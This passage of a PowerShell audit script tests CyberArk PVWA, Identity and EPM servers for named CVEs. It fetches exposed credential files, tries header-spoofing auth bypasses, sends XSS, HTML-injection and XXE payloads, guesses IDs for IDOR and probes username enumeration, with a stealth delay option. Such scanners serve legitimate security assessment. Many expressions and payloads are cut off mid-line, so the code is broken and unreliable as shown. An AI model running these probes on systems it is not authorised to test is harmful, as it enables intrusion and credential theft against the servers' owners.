($script:Config.StealthDelayMs -gt 0) { Start-Sleep -Milliseconds $script:Config.StealthDelayMs } $uri = "$PVWA$($credPath.Path)" $response = Invoke-WebRequest -Uri $uri -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction Stop if ($response.StatusCode -eq 200) { $content = $response.Content # Validate it's a real CyberArk credential file (version 2 format) if ($content -match "CredFileVersion=2" -and $content -match "Password=[A-Fa-f0-9]{32,}" -and $content -match "VerificationsFlag=\d+") { $exposedFilesFound++ $parsed = ConvertFrom-CredentialFile -Content $content -Source $uri if ($null -ne $parsed.VerificationsFlag) { $analysis = Get-CredFileKeySpaceAnalysis -VerificationsFlag $parsed.VerificationsFlag -ParsedFile $parsed # Log detailed analysis $exploitReport = Format-ExploitAnalysis -Parsed $parsed -Analysis $analysis Write-AuditLog $exploitReport -Level Warning # Build detailed current value for finding $currentValue = @( "CREDENTIAL FILE EXPOSED!", "Username: $($parsed.Username)", "VerificationsFlag: $($parsed.VerificationsFlag) (0x$("{0:X4}" -f $parsed.VerificationsFlag))", "Exploitability: $($analysis.Exploitability)", "Brute-force: $($analysis.BruteForceComplexity)", "", "Key derivation inputs found in file:", ($analysis.FlagsUsed -join "; ") ) -join "`n" # Build PoC response headers $pocRespHeaders = @{} foreach ($h in $response.Headers.Keys) { $pocRespHeaders[$h] = $response.Headers[$h] -join ", " } Add-Finding -Category "CVE Assessment" ` -CISControl "CVE1" ` -Finding "CVE-2021-31796: EXPLOITABLE - Credential file exposed via web" ` -Resource $uri ` -CurrentValue $currentValue ` -ExpectedValue "Credential files must NEVER be web-accessible. These files contain encrypted passwords that can be decrypted offline." ` -Recommendation "IMMEDIATE ACTION REQUIRED: (1) Remove credential file from web directory, (2) Rotate ALL credentials for user '$($parsed.Username)', (3) Review IIS/web server configuration, (4) Upgrade to CyberArk v12.1+, (5) Recreate credential files with -DisplayRestrictions to hide field values." ` -Severity "Critical" ` -RequestMethod "GET" ` -RequestURL $uri ` -RequestHeaders @{ "Host" = ([uri]$PVWA).Host; "User-Agent" = "CyberArk-Security-Audit" } ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocRespHeaders ` -ResponseBody ($content.Substring(0, [Math]::Min(500, $content.Length)) + "... [CREDENTIAL FILE CONTENT - TRUNCATED]") # Additional finding if trivially exploitable if ($analysis.Exploitability -in @("TRIVIAL", "EASY")) { Add-Finding -Category "CVE Assessment" ` -CISControl "CVE1" ` -Finding "CVE-2021-31796: Password can be decrypted IMMEDIATELY" ` -Resource "$uri (User: $($parsed.Username))" ` -CurrentValue "Effective key space: 2^$($analysis.EffectiveKeySpaceBits). $($analysis.Description)" ` -ExpectedValue "Encryption key should require brute-force attack with significant compute resources" ` -Recommendation "ASSUME CREDENTIAL IS COMPROMISED. Immediately: (1) Disable account '$($parsed.Username)' in the Vault, (2) Rotate any secrets this account can access, (3) Check audit logs for unauthorized access." ` -Severity "Critical" ` -RequestMethod "GET" ` -RequestURL $uri ` -RequestHeaders @{ "Host" = ([uri]$PVWA).Host; "User-Agent" = "CyberArk-Security-Audit" } ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocRespHeaders ` -ResponseBody "Credential file exploitability analysis: $($analysis.Description)" } } else { # Could parse file but not VerificationsFlag - build PoC $pocRespHeaders = @{} foreach ($h in $response.Headers.Keys) { $pocRespHeaders[$h] = $response.Headers[$h] -join ", " } Add-Finding -Category "CVE Assessment" ` -CISControl "CVE1" ` -Finding "CVE-2021-31796: Credential file exposed (parse error on flags)" ` -Resource $uri ` -CurrentValue "Credential file accessible but could not parse VerificationsFlag. Raw content may still be exploitable." ` -ExpectedValue "Credential files must not be web-accessible" ` -Recommendation "URGENT: Remove credential file from web directory immediately. Rotate all associated credentials." ` -Severity "Critical" ` -RequestMethod "GET" ` -RequestURL $uri ` -RequestHeaders @{ "Host" = ([uri]$PVWA).Host; "User-Agent" = "CyberArk-Security-Audit" } ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocRespHeaders ` -ResponseBody ($content.Substring(0, [Math]::Min(500, $content.Length)) + "...") } } elseif ($content -match "CredFileVersion=" -or $content -match "Password=") { # Partial match - might be version 1 or malformed - build PoC $pocRespHeaders = @{} foreach ($h in $response.Headers.Keys) { $pocRespHeaders[$h] = $response.Headers[$h] -join ", " } Add-Finding -Category "CVE Assessment" ` -CISControl "CVE1" ` -Finding "Potential credential file detected (non-standard format)" ` -Resource $uri ` -CurrentValue "File contains credential markers but may be version 1 or custom format" ` -ExpectedValue "No credential files should be web-accessible" ` -Recommendation "Investigate file contents. Remove from web directory if it contains credentials." ` -Severity "High" ` -RequestMethod "GET" ` -RequestURL $uri ` -RequestHeaders @{ "Host" = ([uri]$PVWA).Host; "User-Agent" = "CyberArk-Security-Audit" } ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocRespHeaders ` -ResponseBody ($content.Substring(0, [Math]::Min(500, $content.Length)) + "...") } } } catch [System.Net.WebException] { # 404, 403, etc. - expected, file is not exposed } catch { # Other errors - log at debug level Write-AuditLog "Error checking $($credPath.Path): $($_.Exception.Message)" -Level Debug } } # Summary if ($exposedFilesFound -gt 0) { Write-AuditLog "CRITICAL: Found $exposedFilesFound exposed credential file(s)! See findings for exploitation details." -Level Warning } else { Write-AuditLog "No exposed credential files found via web interface probing." -Level Info } } function Test-HeaderAuthBypass { Write-AuditLog "Checking for Authentication Bypass via Header Injection..." -Level Info # Test for authentication bypass patterns $bypassHeaders = @( @{ Name = "X-Forwarded-For"; Value = "127.0.0.1" }, @{ Name = "X-Originating-IP"; Value = "127.0.0.1" }, @{ Name = "X-Remote-IP"; Value = "127.0.0.1" }, @{ Name = "X-Remote-Addr"; Value = "127.0.0.1" }, @{ Name = "X-Real-IP"; Value = "127.0.0.1" }, @{ Name = "X-Forwarded-Host"; Value = "localhost" }, @{ Name = "X-Custom-IP-Authorization"; Value = "127.0.0.1" } ) # First, get baseline response without bypass headers (expected: 401/403 or login page) $baselineResponse = $null try { $baselineResponse = Invoke-WebRequest -Uri "$PVWA/PasswordVault/api/Users" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue } catch { # Expected - 401/403 is normal for unauthenticated requests $baselineResponse = $_.Exception.Response } foreach ($header in $bypassHeaders) { try { $headers = @{ $header.Name = $header.Value } $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/api/Users" -Method GET -Headers $headers -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $body = $response.Content # Skip false positives: baseline/catch-all responses if (Test-IsBaselineResponse -ResponseContent $body) { continue } # Skip HTML responses (SPA login page) if ($body -match "alert(1)"; Desc = "Reflected XSS via search" }, @{ Path = "/PasswordVault/v10/logon?callback="; Desc = "XSS via callback" }, @{ Path = "/PasswordVault/?returnUrl=javascript:alert(1)"; Desc = "XSS via returnUrl" }, @{ Path = "/PasswordVault/api/auth?redirect=data:text/html,"; Desc = "XSS via redirect" } ) foreach ($payload in $xssPayloads) { try { $response = Invoke-WebRequest -Uri "$PVWA$($payload.Path)" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $body = $response.Content # Skip false positives: baseline/catch-all responses if (Test-IsBaselineResponse -ResponseContent $body) { continue } # Check if our specific payload is reflected in response (not just generic patterns) $payloadReflected = $false if ($payload.Path -match "alert\(1\)" -and $body -match "alert\(1\)") { $payloadReflected = $true } if ($payload.Path -match "onerror=" -and $body -match "onerror=") { $payloadReflected = $true } if ($payload.Path -match "javascript:" -and $body -match "javascript:alert") { $payloadReflected = $true } if ($payloadReflected) { Add-Finding -Category "Blackbox Testing" ` -CISControl "BB13" ` -Finding "XSS vulnerability detected - payload reflected" ` -Resource "$PVWA$($payload.Path)" ` -CurrentValue "XSS payload '$($payload.Desc)' reflected in response" ` -ExpectedValue "Input properly sanitized" ` -Recommendation "Apply input validation and output encoding" ` -Severity "High" ` -RequestMethod "GET" ` -RequestURL "$PVWA$($payload.Path)" ` -ResponseStatus $response.StatusCode ` -ResponseBody ($body.Substring(0, [Math]::Min(500, $body.Length))) } } catch { Write-AuditLog "Error testing XSS on $($payload.Path): $($_.Exception.Message)" -Level Debug } } } function Test-CVE202442340 { <# .SYNOPSIS CVE-2024-42340: CyberArk Identity - Client-Side Enforcement of Server-Side Security (CWE-602) .DESCRIPTION This vulnerability allows attackers to bypass access controls by manipulating server responses. Security decisions are enforced on the client side rather than server side, making them susceptible to manipulation via proxy interception tools. Attack: Intercept responses and modify access control flags (e.g., change 'false' to 'true') to gain unauthorized administrative access. Reference: https://peersec.io/blog/cyberark/ #> Write-AuditLog "Checking for CVE-2024-42340 (Client-Side Security Enforcement)..." -Level Info # Test endpoints that return access control decisions # The vulnerability is that these decisions can be manipulated client-side $accessControlEndpoints = @( @{ Path = "/PasswordVault/api/Users/Me"; Desc = "User profile with permissions" }, @{ Path = "/PasswordVault/api/Configuration"; Desc = "Configuration with access flags" }, @{ Path = "/PasswordVault/api/Policies"; Desc = "Policy access controls" }, @{ Path = "/identity/api/Users/Me"; Desc = "Identity user info" }, @{ Path = "/identity/api/UserMgmt/GetUserInfo"; Desc = "Identity user management" } ) foreach ($endpoint in $accessControlEndpoints) { try { $response = Invoke-WebRequest -Uri "$PVWA$($endpoint.Path)" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $content = $response.Content # Skip false positives: baseline/catch-all responses if (Test-IsBaselineResponse -ResponseContent $content) { continue } # Skip HTML responses (not API data) if ($content -match " Write-AuditLog "Checking for CVE-2024-42339 (IDOR - Information Disclosure)..." -Level Info # Test endpoints that use ID/UUID parameters for user-specific data $idorEndpoints = @( @{ Path = "/PasswordVault/api/Users/{id}"; Desc = "User details by ID" }, @{ Path = "/PasswordVault/api/Accounts/{id}"; Desc = "Account by ID" }, @{ Path = "/PasswordVault/api/Safes/{id}/Members"; Desc = "Safe members" }, @{ Path = "/identity/api/Users/{id}"; Desc = "Identity user by ID" }, @{ Path = "/identity/api/UserMgmt/GetUserAttributes"; Desc = "User attributes" }, @{ Path = "/identity/api/Policy/GetPolicyBlock"; Desc = "Policy block" }, @{ Path = "/identity/api/Roles/{id}"; Desc = "Role by ID" } ) # First, try to get a list of valid IDs/UUIDs $testUuids = @( "00000000-0000-0000-0000-000000000001", "00000000-0000-0000-0000-000000000002", "administrator", "admin", "1", "2" ) foreach ($endpoint in $idorEndpoints) { foreach ($testId in $testUuids) { $testPath = $endpoint.Path -replace '\{id\}', $testId try { $response = Invoke-WebRequest -Uri "$PVWA$testPath" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $content = $response.Content # Skip false positives: baseline/catch-all responses if (Test-IsBaselineResponse -ResponseContent $content) { continue } # Skip HTML responses (not API data) if ($content -match " ]> &xxe; "@ $xxeBase64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($xxeTestPayload)) foreach ($endpoint in $samlEndpoints) { try { # Test POST with SAMLResponse parameter $postBody = "SAMLResponse=$([System.Web.HttpUtility]::UrlEncode($xxeBase64))" $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -Body $postBody -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $responseBody = $response.Content # Skip false positives: baseline/catch-all responses (SPA login page) if (Test-IsBaselineResponse -ResponseContent $responseBody) { continue } # Skip generic HTML responses (not a real SAML endpoint) if ($responseBody -match " 10.7. Disable external entity processing in XML parsers." ` -Severity "High" ` -RequestMethod "POST" ` -RequestURL "$PVWA$endpoint" ` -ResponseStatus $response.StatusCode ` -ResponseBody ($responseBody.Substring(0, [Math]::Min(500, $responseBody.Length))) } # Check for SAML-specific error responses (indicates real SAML endpoint) elseif ($responseBody -match "SAML|SAMLRequest|SAMLResponse|urn:oasis:names:tc:SAML" -or $responseBody -match "InvalidSignature|MalformedAssertion|AuthnFailed") { # Real SAML endpoint detected - flag for version verification Add-Finding -Category "CVE Assessment" ` -CISControl "CVE18" ` -Finding "SAML authentication endpoint detected (CVE-2019-7442 target)" ` -Resource "$PVWA$endpoint" ` -CurrentValue "SAML endpoint responding with SAML-specific errors - verify version > 10.7" ` -ExpectedValue "Patched against XXE or SAML disabled if unused" ` -Recommendation "Verify CyberArk version is patched against CVE-2019-7442. If SAML is not used, disable the endpoint." ` -Severity "Medium" ` -RequestMethod "POST" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders @{ "Content-Type" = "application/x-www-form-urlencoded" } ` -RequestBody $postBody ` -ResponseStatus $response.StatusCode ` -ResponseBody ($responseBody.Substring(0, [Math]::Min(500, $responseBody.Length))) } } catch { } } #====================================================================== # CVE-2018-9842: Memory Disclosure via Vault Protocol (Port 1858) # Reference: https://www.exploit-db.com/exploits/44428 # Affected: CyberArk Password Vault < 9.7, < 10 #====================================================================== Write-AuditLog "Testing CVE-2018-9842 (Memory Disclosure via port 1858)..." -Level Info $pvwaHost = ([System.Uri]$PVWA).Host $vaultPort = 1858 try { $tcpClient = New-Object System.Net.Sockets.TcpClient $tcpClient.ReceiveTimeout = 5000 $tcpClient.SendTimeout = 5000 $asyncResult = $tcpClient.BeginConnect($pvwaHost, $vaultPort, $null, $null) $waitResult = $asyncResult.AsyncWaitHandle.WaitOne(5000, $false) if ($waitResult -and $tcpClient.Connected) { $tcpClient.EndConnect($asyncResult) Add-Finding -Category "CVE Assessment" ` -CISControl "CVE19" ` -Finding "CVE-2018-9842: Vault port 1858 accessible (memory disclosure risk)" ` -Resource "${pvwaHost}:${vaultPort}" ` -CurrentValue "Vault proprietary protocol port is accessible from network" ` -ExpectedValue "Port 1858 firewalled, only accessible from authorized components" ` -Recommendation "Restrict port 1858 access via firewall. Upgrade Vault to 9.7+ or 10+. Replay attacks can disclose ~50 bytes of memory per request." ` -Severity "High" $tcpClient.Close() } } catch { Write-AuditLog "Port 1858 not accessible (good - may be firewalled)" -Level Debug } } #====================================================================== # 2025 CVE CHECKS #====================================================================== function Test-CVE2025EPM { <# .SYNOPSIS Tests for CyberArk Endpoint Privilege Manager (EPM) vulnerabilities CVE-2025-22270 through CVE-2025-22274 .DESCRIPTION Based on CERT Polska advisory: https://cert.pl/en/posts/2025/02/CVE-2025-22270/ Affects CyberArk EPM SaaS version 24.7.1 CVE-2025-22270: XSS in Role Management (name field) CVE-2025-22271: X-Forwarded-For IP spoofing (audit log bypass) CVE-2025-22272: XSS via modalDlgMsgInternal parameter (POST to /EPMUI/ModalDlgHandler.ashx) CVE-2025-22273: Brute force on /EPMUI/VfManager.asmx/ChangePassword (no rate limiting) CVE-2025-22274: HTML injection in Application definition (content field) #> Write-AuditLog "Checking for 2025 EPM CVEs (CVE-2025-22270 through CVE-2025-22274)..." -Level Info # Determine EPM base URL - might be different from PVWA $epmUrls = @( $PVWA, "$PVWA/EPMUI", ($PVWA -replace '/PasswordVault.*$', '/EPMUI'), ($PVWA -replace 'pvwa', 'epm'), ($PVWA -replace ':443', ':8443') ) foreach ($epmBase in $epmUrls) { # CVE-2025-22271 - X-Forwarded-For spoofing (affects action logging) # Advisory: "IP address spoofing by providing a custom value in the X-Forwarded-For header" Write-AuditLog "Testing CVE-2025-22271 (X-Forwarded-For spoofing) on $epmBase..." -Level Info $spoofHeaders = @{ "X-Forwarded-For" = "127.0.0.1, 10.0.0.1, 192.168.1.100" "X-Real-IP" = "192.168.1.1" "X-Client-IP" = "172.16.0.1" "X-Originating-IP" = "10.10.10.10" } try { # Test against EPM endpoints $testEndpoints = @("/EPMUI/", "/EPMUI/Login.aspx", "/EPMUI/Default.aspx") foreach ($ep in $testEndpoints) { $response = Invoke-WebRequest -Uri "$epmBase$ep" -Method GET -Headers $spoofHeaders -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $body = $response.Content # Skip false positives: baseline/catch-all responses (SPA login page) if (Test-IsBaselineResponse -ResponseContent $body) { continue } # Skip if response is generic HTML (not EPM-specific) if ($body -match "alert('CVE-2025-22272')&value=showReadonlyDlg", "modalDlgMsgInternal=&value=showReadonlyDlg", "modalDlgMsgInternal=&value=showReadonlyDlg" ) foreach ($payload in $xssPayloads) { try { # Use POST as per advisory $response = Invoke-WebRequest -Uri "$epmBase$xssTestEndpoint" -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $body = $response.Content # Skip false positives: baseline/catch-all responses if (Test-IsBaselineResponse -ResponseContent $body) { continue } # Skip if response is generic HTML (not EPM-specific) if ($body -match "CVE-2025-22274-TEST","name":"test"}' }, @{ Path = "/EPMUI/VfManager.asmx/SaveApplication"; ContentType = "application/json"; Body = '{"content":""}' }, @{ Path = "/EPMUI/ApplicationDef.aspx"; ContentType = "application/x-www-form-urlencoded"; Body = "content=

injected

&name=test" } ) foreach ($ep in $appDefEndpoints) { try { $response = Invoke-WebRequest -Uri "$epmBase$($ep.Path)" -Method POST -Body $ep.Body -ContentType $ep.ContentType -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $body = $response.Content # Skip false positives: baseline/catch-all responses if (Test-IsBaselineResponse -ResponseContent $body) { continue } # Skip if response is generic HTML (not EPM-specific) if ($body -match "alert\(1\)") { Add-Finding -Category "CVE Assessment" ` -CISControl "CVE11" ` -Finding "CVE-2025-22274: HTML injection in Application definition - CONFIRMED" ` -Resource "$epmBase$($ep.Path)" ` -CurrentValue "HTML content accepted in application definition" ` -ExpectedValue "HTML properly escaped or rejected" ` -Recommendation "Apply input validation and output encoding. Patch for CVE-2025-22274." ` -Severity "Medium" ` -RequestMethod "POST" ` -RequestURL "$epmBase$($ep.Path)" ` -RequestHeaders @{ "Content-Type" = $ep.ContentType } ` -RequestBody $ep.Body ` -ResponseStatus $response.StatusCode ` -ResponseBody ($body.Substring(0, [Math]::Min(500, $body.Length))) break } } catch { Write-AuditLog "Error testing CVE-2025-22274 on $epmBase$($ep.Path) : $($_.Exception.Message)" -Level Debug } } # CVE-2025-22270 - XSS in Role Management (name field) # Advisory: "Administration panel > Role Management tab > name field when adding new role" Write-AuditLog "Testing CVE-2025-22270 (XSS in Role name) on $epmBase..." -Level Info $roleEndpoints = @( @{ Path = "/EPMUI/api/Roles"; Body = '{"name":""}' }, @{ Path = "/EPMUI/VfManager.asmx/AddRole"; Body = '{"roleName":""}' } ) foreach ($ep in $roleEndpoints) { try { $response = Invoke-WebRequest -Uri "$epmBase$($ep.Path)" -Method POST -Body $ep.Body -ContentType "application/json" -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $body = $response.Content # Skip false positives: baseline/catch-all responses if (Test-IsBaselineResponse -ResponseContent $body) { continue } # Skip if response is generic HTML (not EPM-specific) if ($body -match "alert\(1\)|onerror=alert\(1\)") { Add-Finding -Category "CVE Assessment" ` -CISControl "CVE7" ` -Finding "CVE-2025-22270: XSS in Role Management name field - CONFIRMED" ` -Resource "$epmBase$($ep.Path)" ` -CurrentValue "Script content accepted in role name" ` -ExpectedValue "Input sanitized, HTML encoded" ` -Recommendation "Apply patches for CVE-2025-22270. Note: requires CSP bypass for full exploitation." ` -Severity "Medium" ` -RequestMethod "POST" ` -RequestURL "$epmBase$($ep.Path)" ` -RequestHeaders @{ "Content-Type" = "application/json" } ` -RequestBody $ep.Body ` -ResponseStatus $response.StatusCode ` -ResponseBody ($body.Substring(0, [Math]::Min(500, $body.Length))) break } } catch { Write-AuditLog "Error testing CVE-2025-22270 on $epmBase$($ep.Path) : $($_.Exception.Message)" -Level Debug } } } } function Test-CVE2025SecretsManager { Write-AuditLog "Checking for 2025 Secrets Manager CVEs (CVE-2025-49827 through CVE-2025-49831)..." -Level Info # CVE-2025-49827 - IAM Authenticator Bypass (Critical) # Test for weak IAM authentication configuration $iamEndpoints = @( "/authn-iam", "/authn-azure", "/authn-gcp", "/authn-jwt", "/authn-k8s" ) # Check if Conjur/Secrets Manager endpoints are accessible $conjurPorts = @(443, 8443, 5432) $pvwaHost = ([System.Uri]$PVWA).Host foreach ($port in $conjurPorts) { try { $tcpClient = New-Object System.Net.Sockets.TcpClient $tcpClient.Connect($pvwaHost, $port) if ($tcpClient.Connected) { $tcpClient.Close() # Try to access authenticator endpoints foreach ($endpoint in $iamEndpoints) { try { $response = Invoke-WebRequest -Uri "https://${pvwaHost}:${port}$endpoint" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue $body = $response.Content # Skip false positives: baseline/catch-all responses if (Test-IsBaselineResponse -ResponseContent $body) { continue } # Skip HTML responses (not Conjur/Secrets Manager API) if ($body -match " 1000 Write-AuditLog "Testing CVE-2022-22700 (Username Enumeration via X-CFY-TX-TM)..." -Level Info $identityEndpoints = @( "/Security/StartAuthentication", "/identity/Security/StartAuthentication" ) $pvwaHost = ([System.Uri]$PVWA).Host foreach ($endpoint in $identityEndpoints) { try { # Test with likely invalid username $testBody = @{ TenantId = "TestTenant" User = "definitely_invalid_user_$(Get-Random)@test.invalid" Version = "1.0" } | ConvertTo-Json $headers = @{ "X-IDAP-NATIVE-CLIENT" = "true" "Content-Type" = "application/json" } $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -Body $testBody -Headers $headers -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue # Check for X-CFY-TX-TM header presence $txHeader = $response.Headers["X-CFY-TX-TM"] if ($txHeader) { Add-Finding -Category "CVE Assessment" ` -CISControl "CVE22" ` -Finding "CVE-2022-22700: CyberArk Identity timing header detected" ` -Resource "$PVWA$endpoint" ` -CurrentValue "X-CFY-TX-TM header present (value: $txHeader)" ` -ExpectedValue "Timing header removed or consistent values" ` -Recommendation "Upgrade CyberArk Identity to 22.2+ to fix username enumeration via timing" ` -Severity "Medium" break } } catch { } } } function Test-CVE202137151 { # CVE-2021-37151: Username Enumeration via MFA Response Length # Product: CyberArk Identity <= 21.5.131 # CWE-203: Observable Discrepancy # CVSS: 5.3 (Medium) # Attack: Response length differs - valid users get MFA challenges (larger response) Write-AuditLog "Testing CVE-2021-37151 (Username Enumeration via Response Length)..." -Level Info $identityEndpoints = @( "/Security/StartAuthentication", "/identity/Security/StartAuthentication" ) foreach ($endpoint in $identityEndpoints) { try { # Test with known-format username (likely invalid) $testBody = @{ TenantId = "TestTenant" User = "test_invalid_$(Get-Random)@test.invalid" Version = "1.0" } | ConvertTo-Json $headers = @{ "X-IDAP-NATIVE-CLIENT" = "true" "Content-Type" = "application/json" } $response1 = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -Body $testBody -Headers $headers -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue if ($response1.StatusCode -eq 200) { $responseContent = $response1.Content # Check if response contains MFA challenge indicators if ($responseContent -match '"Challenges"|"Mechanisms"|"StartTextOob"|"TextOob"') { Add-Finding -Category "CVE Assessment" ` -CISControl "CVE23" ` -Finding "CVE-2021-37151: CyberArk Identity authentication endpoint accessible" ` -Resource "$PVWA$endpoint" ` -CurrentValue "StartAuthentication responds with challenge info (potential user enumeration)" ` -ExpectedValue "Consistent responses regardless of user validity" ` -Recommendation "Upgrade CyberArk Identity to 21.11.133+ to fix response-based user enumeration" ` -Severity "Medium" break } } } catch { } } } function Test-StartAuthenticationInfoDisclosure { <# .SYNOPSIS Tests for information disclosure via CyberArk Identity StartAuthentication endpoint .DESCRIPTION The /api/idadmin/Security/StartAuthentication endpoint may expose sensitive information including session IDs, MFA mechanisms, email domains, tenant IDs, and authentication configuration without proper authentication. Related vulnerabilities: - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor - CWE-203: Observable Discrepancy (user enumeration) - CVE-2021-37151: CyberArk Identity username enumeration - CVE-2022-22700: CyberArk Identity enumeration via timing #> Write-AuditLog "Testing StartAuthentication endpoint for information disclosure..." -Level Info $authEndpoints = @( "/api/idadmin/Security/StartAuthentication", "/Security/StartAuthentication", "/identity/Security/StartAuthentication" ) foreach ($endpoint in $authEndpoints) { try { $testBody = @{ TenantId = "abc-1234" Version = "1.0" User = "Test_user" } | ConvertTo-Json $requestHeaders = @{ "Host" = ([uri]$PVWA).Host "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "Accept" = "application/json" "Accept-Language" = "en-US,en;q=0.9" "Content-Type" = "application/json" } $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -Body $testBody -ContentType "application/json" -UseBasicParsing -TimeoutSec 15 -ErrorAction Stop if ($response.StatusCode -eq 200) { $responseContent = $response.Content $responseJson = $null try { $responseJson = $responseContent | ConvertFrom-Json } catch { continue } # Build PoC headers $pocResponseHeaders = @{} foreach ($h in $response.Headers.Keys) { $pocResponseHeaders[$h] = $response.Headers[$h] -join ", " } $findingsFound = @() # Check 1: Session ID Exposure if ($responseContent -match '"SessionId"\s*:\s*"([^"]+)"') { $sessionId = $Matches[1] $findingsFound += "SessionId exposed: $($sessionId.Substring(0, [Math]::Min(20, $sessionId.Length)))..." Add-Finding -Category "Information Disclosure" ` -CISControl "AUTH1" ` -Finding "Session ID exposed in StartAuthentication response" ` -Resource "$PVWA$endpoint" ` -CurrentValue "SessionId: $($sessionId.Substring(0, [Math]::Min(30, $sessionId.Length)))..." ` -ExpectedValue "Session ID should not be exposed pre-authentication" ` -Recommendation "Review CyberArk Identity configuration to minimize pre-auth information exposure" ` -Severity "Medium" ` -RequestMethod "POST" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders $requestHeaders ` -RequestBody $testBody ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocResponseHeaders ` -ResponseBody $responseContent.Substring(0, [Math]::Min(500, $responseContent.Length)) } # Check 2: User Enumeration via Challenges if ($responseContent -match '"Challenges"\s*:\s*\[' -and $responseContent -match '"Mechanisms"\s*:\s*\[') { Add-Finding -Category "Authentication Security" ` -CISControl "AUTH1" ` -Finding "User enumeration possible via StartAuthentication response" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Response contains MFA challenges - confirms user exists" ` -ExpectedValue "Consistent responses regardless of user validity (CWE-203)" ` -Recommendation "Implement consistent responses for valid/invalid users to prevent enumeration" ` -Severity "Medium" ` -RequestMethod "POST" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders $requestHeaders ` -RequestBody $testBody ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocResponseHeaders ` -ResponseBody "Response contains Challenges and Mechanisms arrays indicating valid user" } # Check 3: MFA Mechanisms Disclosure $mfaMechanisms = @() if ($responseContent -match '"Name"\s*:\s*"UP"') { $mfaMechanisms += "Password" } if ($responseContent -match '"Name"\s*:\s*"OATH"') { $mfaMechanisms += "OATH OTP" } if ($responseContent -match '"Name"\s*:\s*"EMAIL"') { $mfaMechanisms += "Email OTP" } if ($responseContent -match '"Name"\s*:\s*"SMS"') { $mfaMechanisms += "SMS OTP" } if ($responseContent -match '"Name"\s*:\s*"PHONE"') { $mfaMechanisms += "Phone Call" } if ($responseContent -match '"Name"\s*:\s*"PF"') { $mfaMechanisms += "Push Notification" } if ($responseContent -match '"Name"\s*:\s*"QR"') { $mfaMechanisms += "QR Code" } if ($responseContent -match '"Name"\s*:\s*"FIDO2"') { $mfaMechanisms += "FIDO2/WebAuthn" } if ($mfaMechanisms.Count -gt 0) { Add-Finding -Category "Information Disclosure" ` -CISControl "INFO1" ` -Finding "MFA mechanisms disclosed in authentication response" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Enrolled MFA: $($mfaMechanisms -join ', ')" ` -ExpectedValue "MFA types should not be disclosed to unauthenticated users" ` -Recommendation "Attackers can use this to plan targeted MFA bypass attacks" ` -Severity "Low" ` -RequestMethod "POST" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders $requestHeaders ` -RequestBody $testBody ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocResponseHeaders ` -ResponseBody "MFA mechanisms found: $($mfaMechanisms -join ', ')" } # Check 4: Email/PII Disclosure if ($responseContent -match '"MaskedEmailAddress"\s*:\s*"([^"]+)"' -or $responseContent -match '"PartialAddress"\s*:\s*"([^"]+)"') { $emailInfo = if ($Matches[1]) { $Matches[1] } else { "partial email disclosed" } Add-Finding -Category "Information Disclosure" ` -CISControl "INFO1" ` -Finding "Partial email/PII disclosed in authentication response" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Email domain/partial: $emailInfo" ` -ExpectedValue "No PII should be disclosed to unauthenticated users (CWE-200)" ` -Recommendation "Configure CyberArk Identity to fully mask email addresses in pre-auth responses" ` -Severity "Medium" ` -RequestMethod "POST" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders $requestHeaders ` -RequestBody $testBody ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocResponseHeaders ` -ResponseBody "Partial PII exposed in response" } # Check 5: Tenant ID Disclosure if ($responseContent -match '"TenantId"\s*:\s*"([^"]+)"') { $tenantId = $Matches[1] if ($tenantId -ne "abc-1234") { # Real tenant ID returned, not our test value Add-Finding -Category "Information Disclosure" ` -CISControl "INFO1" ` -Finding "Real Tenant ID disclosed in authentication response" ` -Resource "$PVWA$endpoint" ` -CurrentValue "TenantId: $tenantId" ` -ExpectedValue "Tenant ID should not be disclosed or should match request" ` -Recommendation "Review tenant ID exposure in authentication responses" ` -Severity "Low" ` -RequestMethod "POST" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders $requestHeaders ` -RequestBody $testBody ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocResponseHeaders ` -ResponseBody "Real TenantId returned: $tenantId" } } # Check 6: Authentication Configuration Disclosure $configExposed = @() if ($responseContent -match '"AllowPersist"\s*:\s*(true|false)') { $configExposed += "AllowPersist=$($Matches[1])" } if 